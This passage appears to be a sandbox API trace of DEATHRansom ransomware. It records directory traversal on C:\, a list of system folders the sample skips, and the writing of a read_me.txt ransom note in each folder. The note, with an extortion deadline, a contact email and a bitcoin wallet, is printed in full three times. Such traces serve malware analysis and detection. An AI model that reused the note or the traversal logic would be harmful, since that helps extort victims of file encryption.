ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x32fc1c8 [0077.723] wnsprintfW (in: pszDest=0x41c0088, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\.") returned 17 [0077.723] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0077.723] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.723] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x17f320 | out: lpFindFileData=0x17f320*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0077.723] wnsprintfW (in: pszDest=0x41c0088, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\..") returned 18 [0077.723] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.723] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x17f320 | out: lpFindFileData=0x17f320*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0077.724] wnsprintfW (in: pszDest=0x41c0088, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users") returned 25 [0077.724] lstrcmpW (lpString1="All Users", lpString2="..") returned 1 [0077.724] lstrcmpW (lpString1="All Users", lpString2=".") returned 1 [0077.724] StrStrW (lpFirst="all users", lpSrch="programdata") returned 0x0 [0077.724] StrStrW (lpFirst="all users", lpSrch="$recycle.bin") returned 0x0 [0077.724] StrStrW (lpFirst="all users", lpSrch="program files") returned 0x0 [0077.724] StrStrW (lpFirst="all users", lpSrch="windows") returned 0x0 [0077.724] StrStrW (lpFirst="all users", lpSrch="all users") returned="all users" [0077.724] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x17f320 | out: lpFindFileData=0x17f320*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="all users", cAlternateFileName="ALLUSE~1")) returned 0 [0077.724] FindClose (in: hFindFile=0x32fc1c8 | out: hFindFile=0x32fc1c8) returned 1 [0077.724] wnsprintfW (in: pszDest=0x41c0088, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\MSOCache\\read_me.txt") returned 27 [0077.724] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\read_me.txt" (normalized: "c:\\msocache\\read_me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x780 [0077.724] lstrlenA (lpString="?????????????????????????\r\n??????DEATHRansom ???????\r\n?????????????????????????\r\nHello dear friend,\r\nYour files were encrypted!\r\nYou have only 12 hours to decrypt it\r\nIn case of no answer our team will delete your decryption password\r\nWrite back to our e-mail: deathransom@airmail.cc\r\n \r\n \r\nIn your message you have to write:\r\n1. YOU LOCK-ID: 05K+u3iWdsxih3Vsk/SvGLmUkjiqYSyjSuPo+Q/fTUW9FxcBDVhdkrWV6kIM43XHUzfRdMbdMVfJscmuTS8/3+y3fMVQJ2zYJ3YPgoQzmGH5K158ZeGOm2v8yDz0hIqBUCMPgGc+Fsr/VUH/twcxH0wWZAe9i+RbMhifJ5xewUwzL0b12HHUv9vkH4nwwzK/NZiYRX6/F2dRTzY9yWo/knTnP1xqnqDGRw+zjLziQCfwT3Vn5LsmaT0kkGjIQ3F9aIXcFId4xiC2YBI4K+it/m7Oa3R4If6UTbcCgm5N7y/DL3DeF16DcwHdFwyksLy9d6CPcSDcwROVqa+Me8Jy0TLindhRmyWoRlEBdxbaJ+eOG5+OhRHE24XFBk/ReHaSNsLKBcRl8MAtDHPTFnAK1C7p9whKA68/QJY3UKeD2dD3jiavA1p+nkn3JWDFSedf88rHxI3JJvEgipTevNd4Kc+FvNwCL8Rz/6ePAm76sJAefdQv3jNmHe7Yazy+Uy1TinJO2mJWME4+v/8n5iHea8wj5Pj/wbzFOX1SrkxKwJgd4YckJFcpMM2DnK+caE/h08BUadwNykOlzgc+XPaKh22/cftwI3Isy3bgXdGoQTi7qt4gav1huXcR1L0DhZ3CWAoC9CFFbBozqgRsnb4MqoThT1a2Ipneve59a8pdlAonAe+TQ9I8VuKwB/xT1ksINdtI540OuYKh+nfUEgIUgg==\r\n2. Time when you have paid 0.1 btc to this bitcoin wallet:\r\n1J9CG9KtJZVx1dHsVcSu8cxMTbLsqeXM5N\r\n \r\n \r\nAfter payment our team will decrypt your files immediatly\r\n \r\n \r\nFree decryption as guarantee:\r\n1. File must be less than 1MB\r\n2. Only .txt or .lnk files, no databases\r\n3. Only 1 files\r\n \r\n \r\nHow to obtain bitcoin:\r\nThe easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/") returned 1715 [0077.724] WriteFile (in: hFile=0x780, lpBuffer=0x573e58*, nNumberOfBytesToWrite=0x6b3, lpNumberOfBytesWritten=0x17f584, lpOverlapped=0x0 | out: lpBuffer=0x573e58*, lpNumberOfBytesWritten=0x17f584*=0x6b3, lpOverlapped=0x0) returned 1 [0077.725] CloseHandle (hObject=0x780) returned 1 [0077.725] GetProcessHeap () returned 0x540000 [0077.725] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41c0088 | out: hHeap=0x540000) returned 1 [0077.725] FindNextFileW (in: hFindFile=0x32fc048, lpFindFileData=0x17f598 | out: lpFindFileData=0x17f598*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x563d4b80, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x563d4b80, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x173ce810, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x1, nFileSizeLow=0x7f24e000, dwReserved0=0xa0000003, dwReserved1=0x17f5e0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0077.725] wnsprintfW (in: pszDest=0x4160058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\pagefile.sys") returned 19 [0077.725] FindNextFileW (in: hFindFile=0x32fc048, lpFindFileData=0x17f598 | out: lpFindFileData=0x17f598*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x17f5e0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0077.725] wnsprintfW (in: pszDest=0x4160058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\PerfLogs") returned 15 [0077.725] lstrcmpW (lpString1="PerfLogs", lpString2="..") returned 1 [0077.726] lstrcmpW (lpString1="PerfLogs", lpString2=".") returned 1 [0077.726] StrStrW (lpFirst="perflogs", lpSrch="programdata") returned 0x0 [0077.726] StrStrW (lpFirst="perflogs", lpSrch="$recycle.bin") returned 0x0 [0077.726] StrStrW (lpFirst="perflogs", lpSrch="program files") returned 0x0 [0077.726] StrStrW (lpFirst="perflogs", lpSrch="windows") returned 0x0 [0077.726] StrStrW (lpFirst="perflogs", lpSrch="all users") returned 0x0 [0077.726] StrStrW (lpFirst="perflogs", lpSrch="appdata") returned 0x0 [0077.726] GetProcessHeap () returned 0x540000 [0077.726] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x41c0088 [0077.726] lstrcpyW (in: lpString1=0x41c0088, lpString2="\\\\?\\C:\\PerfLogs" | out: lpString1="\\\\?\\C:\\PerfLogs") returned="\\\\?\\C:\\PerfLogs" [0077.726] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 29 [0077.726] QueueUserWorkItem (Function=0x40a710, Context=0x41c0088, Flags=0x0) returned 1 [0077.726] GetProcessHeap () returned 0x540000 [0077.726] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x41d0090 [0077.727] wnsprintfW (in: pszDest=0x41d0090, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\PerfLogs\\*") returned 17 [0077.727] FindFirstFileW (in: lpFileName="\\\\?\\C:\\PerfLogs\\*", lpFindFileData=0x17f320 | out: lpFindFileData=0x17f320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x32fc1c8 [0077.727] wnsprintfW (in: pszDest=0x41d0090, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\PerfLogs\\.") returned 17 [0077.727] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0077.727] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.727] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x17f320 | out: lpFindFileData=0x17f320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0077.727] wnsprintfW (in: pszDest=0x41d0090, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\PerfLogs\\..") returned 18 [0077.727] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.728] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x17f320 | out: lpFindFileData=0x17f320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Admin", cAlternateFileName="")) returned 1 [0077.728] wnsprintfW (in: pszDest=0x41d0090, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\PerfLogs\\Admin") returned 21 [0077.728] lstrcmpW (lpString1="Admin", lpString2="..") returned 1 [0077.728] lstrcmpW (lpString1="Admin", lpString2=".") returned 1 [0077.728] StrStrW (lpFirst="admin", lpSrch="programdata") returned 0x0 [0077.728] StrStrW (lpFirst="admin", lpSrch="$recycle.bin") returned 0x0 [0077.728] StrStrW (lpFirst="admin", lpSrch="program files") returned 0x0 [0077.728] StrStrW (lpFirst="admin", lpSrch="windows") returned 0x0 [0077.728] StrStrW (lpFirst="admin", lpSrch="all users") returned 0x0 [0077.728] StrStrW (lpFirst="admin", lpSrch="appdata") returned 0x0 [0077.728] GetProcessHeap () returned 0x540000 [0077.728] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x41e0098 [0077.729] lstrcpyW (in: lpString1=0x41e0098, lpString2="\\\\?\\C:\\PerfLogs\\Admin" | out: lpString1="\\\\?\\C:\\PerfLogs\\Admin") returned="\\\\?\\C:\\PerfLogs\\Admin" [0077.729] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 30 [0077.729] QueueUserWorkItem (Function=0x40a710, Context=0x41e0098, Flags=0x0) returned 1 [0077.729] GetProcessHeap () returned 0x540000 [0077.729] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x41f00a0 [0077.730] wnsprintfW (in: pszDest=0x41f00a0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\PerfLogs\\Admin\\*") returned 23 [0077.730] FindFirstFileW (in: lpFileName="\\\\?\\C:\\PerfLogs\\Admin\\*", lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc248 [0077.730] wnsprintfW (in: pszDest=0x41f00a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\PerfLogs\\Admin\\.") returned 23 [0077.730] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0077.730] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.730] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0077.742] wnsprintfW (in: pszDest=0x41f00a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\PerfLogs\\Admin\\..") returned 24 [0077.742] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.742] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0 [0077.742] FindClose (in: hFindFile=0x32fc248 | out: hFindFile=0x32fc248) returned 1 [0077.742] wnsprintfW (in: pszDest=0x41f00a0, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\PerfLogs\\Admin\\read_me.txt") returned 33 [0077.742] CreateFileW (lpFileName="\\\\?\\C:\\PerfLogs\\Admin\\read_me.txt" (normalized: "c:\\perflogs\\admin\\read_me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7b0 [0077.742] lstrlenA (lpString="?????????????????????????\r\n??????DEATHRansom ???????\r\n?????????????????????????\r\nHello dear friend,\r\nYour files were encrypted!\r\nYou have only 12 hours to decrypt it\r\nIn case of no answer our team will delete your decryption password\r\nWrite back to our e-mail: deathransom@airmail.cc\r\n \r\n \r\nIn your message you have to write:\r\n1. YOU LOCK-ID: 05K+u3iWdsxih3Vsk/SvGLmUkjiqYSyjSuPo+Q/fTUW9FxcBDVhdkrWV6kIM43XHUzfRdMbdMVfJscmuTS8/3+y3fMVQJ2zYJ3YPgoQzmGH5K158ZeGOm2v8yDz0hIqBUCMPgGc+Fsr/VUH/twcxH0wWZAe9i+RbMhifJ5xewUwzL0b12HHUv9vkH4nwwzK/NZiYRX6/F2dRTzY9yWo/knTnP1xqnqDGRw+zjLziQCfwT3Vn5LsmaT0kkGjIQ3F9aIXcFId4xiC2YBI4K+it/m7Oa3R4If6UTbcCgm5N7y/DL3DeF16DcwHdFwyksLy9d6CPcSDcwROVqa+Me8Jy0TLindhRmyWoRlEBdxbaJ+eOG5+OhRHE24XFBk/ReHaSNsLKBcRl8MAtDHPTFnAK1C7p9whKA68/QJY3UKeD2dD3jiavA1p+nkn3JWDFSedf88rHxI3JJvEgipTevNd4Kc+FvNwCL8Rz/6ePAm76sJAefdQv3jNmHe7Yazy+Uy1TinJO2mJWME4+v/8n5iHea8wj5Pj/wbzFOX1SrkxKwJgd4YckJFcpMM2DnK+caE/h08BUadwNykOlzgc+XPaKh22/cftwI3Isy3bgXdGoQTi7qt4gav1huXcR1L0DhZ3CWAoC9CFFbBozqgRsnb4MqoThT1a2Ipneve59a8pdlAonAe+TQ9I8VuKwB/xT1ksINdtI540OuYKh+nfUEgIUgg==\r\n2. Time when you have paid 0.1 btc to this bitcoin wallet:\r\n1J9CG9KtJZVx1dHsVcSu8cxMTbLsqeXM5N\r\n \r\n \r\nAfter payment our team will decrypt your files immediatly\r\n \r\n \r\nFree decryption as guarantee:\r\n1. File must be less than 1MB\r\n2. Only .txt or .lnk files, no databases\r\n3. Only 1 files\r\n \r\n \r\nHow to obtain bitcoin:\r\nThe easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/") returned 1715 [0077.742] WriteFile (in: hFile=0x7b0, lpBuffer=0x573e58*, nNumberOfBytesToWrite=0x6b3, lpNumberOfBytesWritten=0x17f30c, lpOverlapped=0x0 | out: lpBuffer=0x573e58*, lpNumberOfBytesWritten=0x17f30c*=0x6b3, lpOverlapped=0x0) returned 1 [0077.743] CloseHandle (hObject=0x7b0) returned 1 [0077.743] GetProcessHeap () returned 0x540000 [0077.744] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41f00a0 | out: hHeap=0x540000) returned 1 [0077.744] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x17f320 | out: lpFindFileData=0x17f320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="admin", cAlternateFileName="")) returned 0 [0077.744] FindClose (in: hFindFile=0x32fc1c8 | out: hFindFile=0x32fc1c8) returned 1 [0077.744] wnsprintfW (in: pszDest=0x41d0090, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\PerfLogs\\read_me.txt") returned 27 [0077.744] CreateFileW (lpFileName="\\\\?\\C:\\PerfLogs\\read_me.txt" (normalized: "c:\\perflogs\\read_me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x780 [0077.744] lstrlenA (lpString="?????????????????????????\r\n??????DEATHRansom ???????\r\n?????????????????????????\r\nHello dear friend,\r\nYour files were encrypted!\r\nYou have only 12 hours to decrypt it\r\nIn case of no answer our team will delete your decryption password\r\nWrite back to our e-mail: deathransom@airmail.cc\r\n \r\n \r\nIn your message you have to write:\r\n1. YOU LOCK-ID: 05K+u3iWdsxih3Vsk/SvGLmUkjiqYSyjSuPo+Q/fTUW9FxcBDVhdkrWV6kIM43XHUzfRdMbdMVfJscmuTS8/3+y3fMVQJ2zYJ3YPgoQzmGH5K158ZeGOm2v8yDz0hIqBUCMPgGc+Fsr/VUH/twcxH0wWZAe9i+RbMhifJ5xewUwzL0b12HHUv9vkH4nwwzK/NZiYRX6/F2dRTzY9yWo/knTnP1xqnqDGRw+zjLziQCfwT3Vn5LsmaT0kkGjIQ3F9aIXcFId4xiC2YBI4K+it/m7Oa3R4If6UTbcCgm5N7y/DL3DeF16DcwHdFwyksLy9d6CPcSDcwROVqa+Me8Jy0TLindhRmyWoRlEBdxbaJ+eOG5+OhRHE24XFBk/ReHaSNsLKBcRl8MAtDHPTFnAK1C7p9whKA68/QJY3UKeD2dD3jiavA1p+nkn3JWDFSedf88rHxI3JJvEgipTevNd4Kc+FvNwCL8Rz/6ePAm76sJAefdQv3jNmHe7Yazy+Uy1TinJO2mJWME4+v/8n5iHea8wj5Pj/wbzFOX1SrkxKwJgd4YckJFcpMM2DnK+caE/h08BUadwNykOlzgc+XPaKh22/cftwI3Isy3bgXdGoQTi7qt4gav1huXcR1L0DhZ3CWAoC9CFFbBozqgRsnb4MqoThT1a2Ipneve59a8pdlAonAe+TQ9I8VuKwB/xT1ksINdtI540OuYKh+nfUEgIUgg==\r\n2. Time when you have paid 0.1 btc to this bitcoin wallet:\r\n1J9CG9KtJZVx1dHsVcSu8cxMTbLsqeXM5N\r\n \r\n \r\nAfter payment our team will decrypt your files immediatly\r\n \r\n \r\nFree decryption as guarantee:\r\n1. File must be less than 1MB\r\n2. Only .txt or .lnk files, no databases\r\n3. Only 1 files\r\n \r\n \r\nHow to obtain bitcoin:\r\nThe easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/") returned 1715 [0077.744] WriteFile (in: hFile=0x780, lpBuffer=0x573e58*, nNumberOfBytesToWrite=0x6b3, lpNumberOfBytesWritten=0x17f584, lpOverlapped=0x0 | out: lpBuffer=0x573e58*, lpNumberOfBytesWritten=0x17f584*=0x6b3, lpOverlapped=0x0) returned 1 [0077.745] CloseHandle (hObject=0x780) returned 1 [0077.745] GetProcessHeap () returned 0x540000 [0077.745] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41d0090 | out: hHeap=0x540000) returned 1 [0077.751] FindNextFileW (in: hFindFile=0x32fc048, lpFindFileData=0x17f598 | out: lpFindFileData=0x17f598*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfbaff560, ftLastAccessTime.dwHighDateTime=0x1d59fdc, ftLastWriteTime.dwLowDateTime=0xfbaff560, ftLastWriteTime.dwHighDateTime=0x1d59fdc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x17f5e0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0077.751] wnsprintfW (in: pszDest=0x4160058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Program Files") returned 20 [0077.751] lstrcmpW (lpString1="Program Files", lpString2="..") returned 1 [0077.751] lstrcmpW (lpString1="Program Files", lpString2=".") returned 1 [0077.751] StrStrW (lpFirst="program files", lpSrch="programdata") returned 0x0 [0077.751] StrStrW (lpFirst="program files", lpSrch="$recycle.bin") returned 0x0 [0077.751] StrStrW (lpFirst="program files", lpSrch="program files") returned="program files" [0077.751] FindNextFileW (in: hFindFile=0x32fc048, lpFindFileData=0x17f598 | out: lpFindFileData=0x17f598*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x17f5e0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0077.752] wnsprintfW (in: pszDest=0x4160058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Program Files (x86)") returned 26 [0077.752] lstrcmpW (lpString1="Program Files (x86)", lpString2="..") returned 1 [0077.752] lstrcmpW (lpString1="Program Files (x86)", lpString2=".") returned 1 [0077.752] StrStrW (lpFirst="program files (x86)", lpSrch="programdata") returned 0x0 [0077.752] StrStrW (lpFirst="program files (x86)", lpSrch="$recycle.bin") returned 0x0 [0077.752] StrStrW (lpFirst="program files (x86)", lpSrch="program files") returned="program files (x86)" [0077.752] FindNextFileW (in: hFindFile=0x32fc048, lpFindFileData=0x17f598 | out: lpFindFileData=0x17f598*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x17f5e0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0077.752] wnsprintfW (in: pszDest=0x4160058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData") returned 18 [0077.752] lstrcmpW (lpString1="ProgramData", lpString2="..") returned 1 [0077.752] lstrcmpW (lpString1="ProgramData", lpString2=".") returned 1 [0077.752] StrStrW (lpFirst="programdata", lpSrch="programdata") returned="programdata" [0077.752] FindNextFileW (in: hFindFile=0x32fc048, lpFindFileData=0x17f598 | out: lpFindFileData=0x17f598*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27cc8060, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27cc8060, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x17f5e0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0077.752] wnsprintfW (in: pszDest=0x4160058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Recovery") returned 15 [0077.752] lstrcmpW (lpString1="Recovery", lpString2="..") returned 1 [0077.752] lstrcmpW (lpString1="Recovery", lpString2=".") returned 1 [0077.752] StrStrW (lpFirst="recovery", lpSrch="programdata") returned 0x0 [0077.752] StrStrW (lpFirst="recovery", lpSrch="$recycle.bin") returned 0x0 [0077.752] StrStrW (lpFirst="recovery", lpSrch="program files") returned 0x0 [0077.752] StrStrW (lpFirst="recovery", lpSrch="windows") returned 0x0 [0077.752] StrStrW (lpFirst="recovery", lpSrch="all users") returned 0x0 [0077.752] StrStrW (lpFirst="recovery", lpSrch="appdata") returned 0x0 [0077.752] GetProcessHeap () returned 0x540000 [0077.752] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4150050 [0077.753] lstrcpyW (in: lpString1=0x4150050, lpString2="\\\\?\\C:\\Recovery" | out: lpString1="\\\\?\\C:\\Recovery") returned="\\\\?\\C:\\Recovery" [0077.753] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 31 [0077.753] QueueUserWorkItem (Function=0x40a710, Context=0x4150050, Flags=0x0) returned 1 [0077.753] GetProcessHeap () returned 0x540000 [0077.753] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4170060 